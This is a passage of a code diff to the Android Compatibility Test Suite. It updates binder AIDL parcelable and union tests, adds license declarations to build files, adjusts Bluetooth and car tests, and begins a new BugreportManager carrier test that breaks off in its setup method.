+    EXPECT_LT(p1, bigger);
+    EXPECT_GT(bigger, p1);
+  }
+}
+
 TEST_P(NdkBinderTest_Aidl, ParcelableDefaults) {
   RegularPolygon polygon;
 
@@ -508,28 +570,6 @@
   EXPECT_EQ(15, retF);
 }
 
-namespace aidl {
-namespace test_package {
-bool operator==(const SimpleUnion& lhs, const SimpleUnion& rhs) {
-  if (lhs.getTag() != rhs.getTag()) return false;
-  switch (lhs.getTag()) {
-    case SimpleUnion::a:
-      return lhs.get<SimpleUnion::a>() == rhs.get<SimpleUnion::a>();
-    case SimpleUnion::b:
-      return lhs.get<SimpleUnion::b>() == rhs.get<SimpleUnion::b>();
-    case SimpleUnion::c:
-      return lhs.get<SimpleUnion::c>() == rhs.get<SimpleUnion::c>();
-    case SimpleUnion::d:
-      return lhs.get<SimpleUnion::d>() == rhs.get<SimpleUnion::d>();
-    case SimpleUnion::e:
-      return lhs.get<SimpleUnion::e>() == rhs.get<SimpleUnion::e>();
-    case SimpleUnion::f:
-      return lhs.get<SimpleUnion::f>() == rhs.get<SimpleUnion::f>();
-  }
-}
-}  // namespace test_package
-}  // namespace aidl
-
 TEST_P(NdkBinderTest_Aidl, RepeatFoo) {
   Foo foo;
   foo.a = "NEW FOO";
@@ -543,6 +583,8 @@
   foo.shouldContainTwoIntFoos = {IntEnum::FOO, IntEnum::FOO};
   foo.shouldContainTwoLongFoos = {LongEnum::FOO, LongEnum::FOO};
   foo.u = SimpleUnion::make<SimpleUnion::c>("hello");
+  foo.shouldSetBit0AndBit2 = Foo::BIT0 | Foo::BIT2;
+  foo.shouldBeConstS1 = SimpleUnion::S1;
 
   Foo retFoo;
 
@@ -559,6 +601,8 @@
   EXPECT_EQ(foo.shouldContainTwoIntFoos, retFoo.shouldContainTwoIntFoos);
   EXPECT_EQ(foo.shouldContainTwoLongFoos, retFoo.shouldContainTwoLongFoos);
   EXPECT_EQ(foo.u, retFoo.u);
+  EXPECT_EQ(foo.shouldSetBit0AndBit2, retFoo.shouldSetBit0AndBit2);
+  EXPECT_EQ(foo.shouldBeConstS1, retFoo.shouldBeConstS1);
 }
 
 TEST_P(NdkBinderTest_Aidl, RepeatGenericBar) {
@@ -580,22 +624,6 @@
 using RepeatMethod = ScopedAStatus (ITest::*)(const std::vector<T>&,
                                               std::vector<T>*, std::vector<T>*);
 
-namespace aidl {
-namespace test_package {
-inline bool operator==(const RegularPolygon& lhs, const RegularPolygon& rhs) {
-  return lhs.name == rhs.name && lhs.numSides == rhs.numSides && lhs.sideLength == rhs.sideLength;
-}
-inline bool operator==(const std::vector<RegularPolygon>& lhs,
-                       const std::vector<RegularPolygon>& rhs) {
-  if (lhs.size() != rhs.size()) return false;
-  for (size_t i = 0; i < lhs.size(); i++) {
-    if (!(lhs[i] == rhs[i])) return false;
-  }
-  return true;
-}
-}  // namespace test_package
-}  // namespace aidl
-
 template <typename T>
 void testRepeat(const std::shared_ptr<ITest>& i, RepeatMethod<T> repeatMethod,
                 std::vector<std::vector<T>> tests) {
@@ -937,8 +965,9 @@
   MyExt myext1;
   myext1.a = 42;
   myext1.b = "mystr";
-  ep.ext.setParcelable(&myext1);
-  std::unique_ptr<MyExt> myext2 = ep.ext.getParcelable<MyExt>();
+  ep.ext.setParcelable(myext1);
+  std::optional<MyExt> myext2;
+  ep.ext.getParcelable(&myext2);
   EXPECT_TRUE(myext2);
   EXPECT_EQ(42, myext2->a);
   EXPECT_EQ("mystr", myext2->b);
@@ -948,7 +977,8 @@
   AParcel_setDataPosition(parcel, 0);
   ExtendableParcelable ep2;
   ep2.readFromParcel(parcel);
-  std::unique_ptr<MyExt> myext3 = ep2.ext.getParcelable<MyExt>();
+  std::optional<MyExt> myext3;
+  ep2.ext.getParcelable(&myext3);
   EXPECT_TRUE(myext3);
   EXPECT_EQ(42, myext3->a);
   EXPECT_EQ("mystr", myext3->b);
@@ -956,20 +986,31 @@
 }
 TEST_P(NdkBinderTest_Aidl, ParcelableHolderCommunicationTest) {
   ExtendableParcelable ep;
-
+  ep.c = 42L;
   MyExt myext1;
   myext1.a = 42;
   myext1.b = "mystr";
-  ep.ext.setParcelable(&myext1);
+  ep.ext.setParcelable(myext1);
 
   ExtendableParcelable ep2;
   EXPECT_OK(iface->RepeatExtendableParcelable(ep, &ep2));
-  std::unique_ptr<MyExt> myext2 = ep2.ext.getParcelable<MyExt>();
+  std::optional<MyExt> myext2;
+  ep2.ext.getParcelable(&myext2);
+  EXPECT_EQ(42L, ep2.c);
   EXPECT_TRUE(myext2);
   EXPECT_EQ(42, myext2->a);
   EXPECT_EQ("mystr", myext2->b);
 }
 
+TEST_P(NdkBinderTest_Aidl, EmptyParcelableHolderCommunicationTest) {
+  ExtendableParcelable ep;
+  ExtendableParcelable ep2;
+  ep.c = 42L;
+  EXPECT_OK(iface->RepeatExtendableParcelableWithoutExtension(ep, &ep2));
+
+  EXPECT_EQ(42L, ep2.c);
+}
+
 std::shared_ptr<ITest> getProxyLocalService() {
   std::shared_ptr<MyTest> test = SharedRefBase::make<MyTest>();
   SpAIBinder binder = test->asBinder();
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
index 9ecb97e..e6b6285 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/Foo.aidl
@@ -7,6 +7,14 @@
 import test_package.SimpleUnion;
 
 parcelable Foo {
+    const int kZero = 0;
+    const int kOne = 1;
+    const int kOnes = 0xffffffff;
+    const byte kByteOne = 1;
+    const long kLongOnes = 0xffffffffffffffff;
+    const String kEmpty = "";
+    const String kFoo = "foo";
+
     String a="FOO";
     int b=42;
     float c=3.14f;
@@ -21,4 +29,13 @@
     LongEnum[] shouldContainTwoLongFoos;
     @nullable String[] g;
     @nullable SimpleUnion u;
+
+    // example: using int constants
+    const int BIT0 = 0x1;
+    const int BIT1 = 0x1 << 1;
+    const int BIT2 = 0x1 << 2;
+    int shouldSetBit0AndBit2;
+
+    // example: using a String constant of union
+    @nullable SimpleUnion shouldBeConstS1;
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
index b94b389..084c7d7 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/ITest.aidl
@@ -34,6 +34,8 @@
     const int kZero = 0;
     const int kOne = 1;
     const int kOnes = 0xffffffff;
+    const byte kByteOne = 1;
+    const long kLongOnes = 0xffffffffffffffff;
     const String kEmpty = "";
     const String kFoo = "foo";
 
@@ -128,4 +130,6 @@
     SimpleUnion RepeatSimpleUnion(in SimpleUnion u);
 
     IBinder getICompatTest();
+
+    void RepeatExtendableParcelableWithoutExtension(in ExtendableParcelable input, out ExtendableParcelable output);
 }
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl
index 5fa906a..7bd33d4 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_package/SimpleUnion.aidl
@@ -4,10 +4,20 @@
 import test_package.ByteEnum;
 
 union SimpleUnion {
+    const int kZero = 0;
+    const int kOne = 1;
+    const int kOnes = 0xffffffff;
+    const byte kByteOne = 1;
+    const long kLongOnes = 0xffffffffffffffff;
+    const String kEmpty = "";
+    const String kFoo = "foo";
+
     int a = 42;
     int[] b;
     String c;
     ByteEnum d;
     ByteEnum[] e;
     @nullable Bar f;
+
+    const String S1 = "a string constant";
 }
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
index e56c3c0..d380647 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/JavaClientTest.java
@@ -108,9 +108,19 @@
     }
 
     @Test
-    public void testTrivial() throws RemoteException {
+    public void testVoidReturn() throws RemoteException {
         mInterface.TestVoidReturn();
-        mInterface.TestOneway();
+    }
+
+    @Test
+    public void testOneway() throws RemoteException {
+        boolean isLocalJava = !mShouldBeRemote && mExpectedName == "JAVA";
+        try {
+            mInterface.TestOneway();
+            assertFalse("local Java should throw exception", isLocalJava);
+        } catch (RemoteException e) {
+            assertTrue("only local Java should report error", isLocalJava);
+        }
     }
 
     private void checkDump(String expected, String[] args) throws RemoteException, IOException {
@@ -225,6 +235,18 @@
     }
 
     @Test
+    public void testRepeatFdNull() throws RemoteException {
+        boolean isNativeRemote = mInterface.GetName().equals("CPP");
+
+        try {
+            mInterface.RepeatFd(null);
+            assertFalse("Native shouldn't accept null here", isNativeRemote);
+        } catch (java.lang.NullPointerException e) {
+            assertTrue("Java should accept null here", isNativeRemote);
+        }
+    }
+
+    @Test
     public void testRepeatNullableFd() throws RemoteException, IOException {
         checkFdRepeated((fd) -> mInterface.RepeatNullableFd(fd));
         assertEquals(null, mInterface.RepeatNullableFd(null));
@@ -607,6 +629,9 @@
 
         foo.u = SimpleUnion.e(new byte[]{ByteEnum.FOO, ByteEnum.FOO});
 
+        foo.shouldSetBit0AndBit2 = Foo.BIT0 | Foo.BIT2;
+        foo.shouldBeConstS1 = SimpleUnion.c(SimpleUnion.S1);
+
         Foo repeatedFoo = mInterface.repeatFoo(foo);
 
         assertEquals(foo.a, repeatedFoo.a);
@@ -620,6 +645,8 @@
         Assert.assertArrayEquals(foo.shouldContainTwoIntFoos, repeatedFoo.shouldContainTwoIntFoos);
         Assert.assertArrayEquals(foo.shouldContainTwoLongFoos, repeatedFoo.shouldContainTwoLongFoos);
         Assert.assertArrayEquals(foo.u.getE(), repeatedFoo.u.getE());
+        assertEquals(foo.shouldSetBit0AndBit2, repeatedFoo.shouldSetBit0AndBit2);
+        assertEquals(foo.shouldBeConstS1.getC(), repeatedFoo.shouldBeConstS1.getC());
     }
 
     @Test
@@ -691,7 +718,7 @@
     @Test
     public void testParcelableHolder() throws RemoteException {
         ExtendableParcelable ep = new ExtendableParcelable();
-
+        ep.c = 42L;
         MyExt myext1 = new MyExt();
         myext1.a = 42;
         myext1.b = "mystr";
@@ -700,12 +727,22 @@
         ExtendableParcelable ep2 = new ExtendableParcelable();
         mInterface.RepeatExtendableParcelable(ep, ep2);
         MyExt myext2 = ep2.ext.getParcelable(MyExt.class);
+        assertEquals(42L, ep2.c);
         assertNotEquals(null, myext2);
         assertEquals(42, myext2.a);
         assertEquals("mystr", myext2.b);
     }
 
     @Test
+    public void testEmptyParcelableHolder() throws RemoteException {
+        ExtendableParcelable ep = new ExtendableParcelable();
+        ep.c = 42L;
+        ExtendableParcelable ep2 = new ExtendableParcelable();
+        mInterface.RepeatExtendableParcelableWithoutExtension(ep, ep2);
+        assertEquals(42L, ep2.c);
+    }
+
+    @Test
     public void testRepeatSimpleUnion() throws RemoteException {
         final int[] intArray = { 1, 2, 3 };
         SimpleUnion origin = SimpleUnion.b(intArray);
diff --git a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
index c65a99a..04f0b3e 100644
--- a/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
+++ b/tests/tests/binder_ndk/src/android/binder/cts/TestImpl.java
@@ -53,7 +53,9 @@
   public void TestVoidReturn() {}
 
   @Override
-  public void TestOneway() {}
+  public void TestOneway() throws RemoteException {
+    throw new RemoteException("Oneway call errors should be ignored");
+  }
 
   @Override
   public int GiveMeMyCallingPid() {
@@ -398,6 +400,7 @@
 
   @Override
   public void RepeatExtendableParcelable(ExtendableParcelable in, ExtendableParcelable out) {
+    RepeatExtendableParcelableWithoutExtension(in, out);
     MyExt ext = in.ext.getParcelable(MyExt.class);
     MyExt ext2 = new MyExt();
     ext2.a = ext.a;
@@ -405,6 +408,13 @@
     out.ext.setParcelable(ext2);
   }
 
+  @Override
+  public void RepeatExtendableParcelableWithoutExtension(ExtendableParcelable in, ExtendableParcelable out) {
+    out.a = in.a;
+    out.b = in.b;
+    out.c = in.c;
+  }
+
   public SimpleUnion RepeatSimpleUnion(SimpleUnion in_u) {
     return in_u;
   }
diff --git a/tests/tests/bionic/Android.build.copy.libs.mk b/tests/tests/bionic/Android.build.copy.libs.mk
index 8900a75..628eeed 100644
--- a/tests/tests/bionic/Android.build.copy.libs.mk
+++ b/tests/tests/bionic/Android.build.copy.libs.mk
@@ -22,6 +22,12 @@
   elftls_dlopen_ie_error_helper/elftls_dlopen_ie_error_helper \
   exec_linker_helper/exec_linker_helper \
   exec_linker_helper_lib.so \
+  heap_tagging_async_helper/heap_tagging_async_helper \
+  heap_tagging_disabled_helper/heap_tagging_disabled_helper \
+  heap_tagging_static_sync_helper/heap_tagging_static_sync_helper \
+  heap_tagging_static_async_helper/heap_tagging_static_async_helper \
+  heap_tagging_static_disabled_helper/heap_tagging_static_disabled_helper \
+  heap_tagging_sync_helper/heap_tagging_sync_helper \
   inaccessible_libs/libtestshared.so \
   inaccessible_libs/libtestshared.so \
   ld_config_test_helper/ld_config_test_helper \
diff --git a/tests/tests/bionic/Android.mk b/tests/tests/bionic/Android.mk
index 0bb59ff..09c5519 100644
--- a/tests/tests/bionic/Android.mk
+++ b/tests/tests/bionic/Android.mk
@@ -2,6 +2,8 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsBionicTestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/bionic_app/Android.bp b/tests/tests/bionic_app/Android.bp
index 03fca22..bde208e 100644
--- a/tests/tests/bionic_app/Android.bp
+++ b/tests/tests/bionic_app/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libbionic_app_jni",
     sdk_version: "current",
diff --git a/tests/tests/bluetooth/Android.bp b/tests/tests/bluetooth/Android.bp
index a99a09e..8ce7efb 100644
--- a/tests/tests/bluetooth/Android.bp
+++ b/tests/tests/bluetooth/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsBluetoothTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp b/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp
index 0257a41..124c0a2 100644
--- a/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp
+++ b/tests/tests/bluetooth/bluetoothTestUtilLib/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "bluetooth-test-util-lib",
 
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
index 2eab364..cd24db4 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
@@ -50,11 +50,6 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
-        filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
-        mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
-
         mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_BLUETOOTH);
         mAdapterNameChangedlock = new ReentrantLock();
@@ -165,11 +160,17 @@
         BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
         assertTrue(BTAdapterUtils.enableAdapter(adapter, mContext));
 
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
+        filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
+        mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
+
         String name = adapter.getName();
         assertNotNull(name);
 
         // Check renaming the adapter
         String genericName = "Generic Device 1";
+        mIsAdapterNameChanged = false;
         assertTrue(adapter.setName(genericName));
         assertTrue(waitForAdapterNameChange());
         mIsAdapterNameChanged = false;
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
index 103816e..1036095 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
@@ -277,7 +277,8 @@
         }
         Intent broadcastIntent = new Intent();
         broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent, 0);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent,
+            PendingIntent.FLAG_IMMUTABLE);
         CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
         mScanner.startScan(null, null, pi);
         boolean gotResults = latch.await(20, TimeUnit.SECONDS);
@@ -307,7 +308,8 @@
         }
         Intent broadcastIntent = new Intent();
         broadcastIntent.setClass(mContext, BluetoothScanReceiver.class);
-        PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent, 0);
+        PendingIntent pi = PendingIntent.getBroadcast(mContext, 1, broadcastIntent,
+            PendingIntent.FLAG_IMMUTABLE);
         CountDownLatch latch = BluetoothScanReceiver.createCountDownLatch();
         mScanner.startScan(filters, batchScanSettings, pi);
         boolean gotResults = latch.await(20, TimeUnit.SECONDS);
diff --git a/tests/tests/calendarcommon/Android.bp b/tests/tests/calendarcommon/Android.bp
index 55b5180..e267c99 100644
--- a/tests/tests/calendarcommon/Android.bp
+++ b/tests/tests/calendarcommon/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsCalendarcommon2TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/calendarprovider/Android.bp b/tests/tests/calendarprovider/Android.bp
index 39327ba..d14e9f1 100644
--- a/tests/tests/calendarprovider/Android.bp
+++ b/tests/tests/calendarprovider/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsCalendarProviderTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/car/Android.bp b/tests/tests/car/Android.bp
index 683ee41e..c3e5890 100644
--- a/tests/tests/car/Android.bp
+++ b/tests/tests/car/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsCarTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index cdb9a26..e254bbc 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -46,6 +46,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Test relies on other server to connect to.")
 public class CarAppFocusManagerTest extends CarApiTestBase {
     private static final String TAG = CarAppFocusManagerTest.class.getSimpleName();
 
@@ -125,7 +126,6 @@
         mManager.removeFocusListener(listener2);
     }
 
-    @AppModeFull(reason = "Test relies on other server to connect to.")
     @Test
     public void testFocusChange() throws Exception {
         DefaultServiceConnectionListener connectionListener =
@@ -239,7 +239,6 @@
 
     }
 
-    @AppModeFull(reason = "Test relies on other server to connect to.")
     @Test
     public void testFilter() throws Exception {
         DefaultServiceConnectionListener connectionListener =
diff --git a/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
index f6436e8..7dafee2 100644
--- a/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarOccupantZoneManagerTest.java
@@ -25,6 +25,7 @@
 import android.car.CarOccupantZoneManager.OccupantZoneInfo;
 import android.os.Process;
 import android.os.UserHandle;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.view.Display;
@@ -39,6 +40,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Instant apps cannot get car related permissions.")
 public class CarOccupantZoneManagerTest extends CarApiTestBase {
 
     private OccupantZoneInfo mDriverZoneInfo;
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index a36af18..16c843d 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -422,6 +422,16 @@
                 mCarPropertyManager.isPropertyAvailable(
                         VehiclePropertyIds.WHEEL_TICK, VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL));
 
+        CarPropertyConfig wheelTickConfig = mCarPropertyManager.getCarPropertyConfig(
+                VehiclePropertyIds.WHEEL_TICK);
+        CarPropertyConfig speedConfig = mCarPropertyManager.getCarPropertyConfig(
+                VehiclePropertyIds.PERF_VEHICLE_SPEED);
+        // Ignores the test if sampleRates for properties are too low.
+        Assume.assumeTrue("The SampleRates for properties are too low, "
+                + "skip testUnregisterWithPropertyId test",
+                wheelTickConfig.getMaxSampleRate() < FAST_OR_FASTEST_EVENT_COUNTER
+                        || speedConfig.getMaxSampleRate() < FAST_OR_FASTEST_EVENT_COUNTER);
+
         CarPropertyEventCounter speedAndWheelTicksListener = new CarPropertyEventCounter();
         mCarPropertyManager.registerCallback(speedAndWheelTicksListener,
                 VehiclePropertyIds.PERF_VEHICLE_SPEED, CarPropertyManager.SENSOR_RATE_FASTEST);
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index acf08c0..fc18eb5 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -44,6 +44,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Test relies on other server to connect to.")
 public class CarTest {
     @ClassRule
     public static final RequiredFeatureRule sRequiredFeatureRule = new RequiredFeatureRule(
@@ -63,7 +64,6 @@
         }
     }
 
-    @AppModeFull(reason = "Test relies on other server to connect to.")
     @Test
     public void testConnection() throws Exception {
         mServiceConnectionListener = new DefaultServiceConnectionListener();
diff --git a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
index 6e50c9b..dcd572d 100644
--- a/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarUxRestrictionsManagerTest.java
@@ -23,6 +23,7 @@
 import android.car.Car;
 import android.car.drivingstate.CarUxRestrictions;
 import android.car.drivingstate.CarUxRestrictionsManager;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 
@@ -35,6 +36,7 @@
 @SmallTest
 @RequiresDevice
 @RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "Test relies on other server to connect to.")
 public class CarUxRestrictionsManagerTest extends CarApiTestBase {
     private CarUxRestrictionsManager mManager;
 
diff --git a/tests/tests/carrierapi/Android.bp b/tests/tests/carrierapi/Android.bp
index 0eac60e..5f5b61d 100644
--- a/tests/tests/carrierapi/Android.bp
+++ b/tests/tests/carrierapi/Android.bp
@@ -12,13 +12,19 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsCarrierApiTestCases",
     defaults: ["cts_defaults"],
     static_libs: [
+        "androidx.test.uiautomator_uiautomator",
         "ctstestrunner-axt",
         "compatibility-device-util-axt",
         "junit",
+        "truth-prebuilt",
     ],
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
diff --git a/tests/tests/carrierapi/AndroidTest.xml b/tests/tests/carrierapi/AndroidTest.xml
index e5e885d..8d1174b 100644
--- a/tests/tests/carrierapi/AndroidTest.xml
+++ b/tests/tests/carrierapi/AndroidTest.xml
@@ -17,6 +17,7 @@
   <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="telecom" />
     <option name="config-descriptor:metadata" key="token" value="UICC_SIM_CARD" />
     <option name="not-shardable" value="true" />
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
new file mode 100644
index 0000000..820c27a
--- /dev/null
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
@@ -0,0 +1,465 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.carrierapi.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.BugreportManager;
+import android.os.BugreportManager.BugreportCallback;
+import android.os.BugreportParams;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.SystemUserOnly;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Unit tests for {@link BugreportManager}'s carrier functionality, specifically "connectivity"
+ * bugreports.
+ *
+ * <p>Structure is largely adapted from
+ * frameworks/base/core/tests/bugreports/.../BugreportManagerTest.java.
+ *
+ * <p>Test using `atest CtsCarrierApiTestCases:BugreportManagerTest` or `make cts -j64 &&
+ * cts-tradefed run cts -m CtsCarrierApiTestCases --test
+ * android.carrierapi.cts.BugreportManagerTest`
+ */
+@SystemUserOnly(reason = "BugreportManager requires calls to originate from the primary user")
+@RunWith(AndroidJUnit4.class)
+public class BugreportManagerTest {
+    private static final String TAG = "BugreportManagerTest";
+
+    private static final long BUGREPORT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(10);
+    private static final long UIAUTOMATOR_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+    // This value is defined in dumpstate.cpp:TELEPHONY_REPORT_USER_CONSENT_TIMEOUT_MS. Because the
+    // consent dialog is so large and important, the user *must* be given at least 2 minutes to read
+    // it before it times out.
+    private static final long MINIMUM_CONSENT_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(2);
+
+    private static final BySelector CONSENT_DIALOG_TITLE_SELECTOR = By.res("android", "alertTitle");
+
+    @Rule public TestName name = new TestName();
+
+    private TelephonyManager mTelephonyManager;
+    private BugreportManager mBugreportManager;
+    private File mBugreportFile;
+    private ParcelFileDescriptor mBugreportFd;
+    private File mScreenshotFile;
+    private ParcelFileDescriptor mScreenshotFd;
+
+    @Before
+    public void setUp() throws Exception {
+        Context context = InstrumentationRegistry.getContext();
+        // Bail out if no cellular support.
+        assumeTrue(
+                "No cellular support, CarrierAPI.BugreportManagerTest cases will be skipped",
+                context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+        // Fail the test if we don't have carrier privileges.
+        mTelephonyManager = context.getSystemService(TelephonyManager.class);
+        assertWithMessage(
+                        "This test requires a SIM card with carrier privilege rules on it.\n"
+                                + "Visit https://source.android.com/devices/tech/config/uicc.html")
+                .that(mTelephonyManager.hasCarrierPrivileges())
+                .isTrue();
+        mBugreportManager = context.getSystemService(BugreportManager.class);
+
+        mBugreportFile = createTempFile("bugreport_" + name.getMethodName(), ".zip");
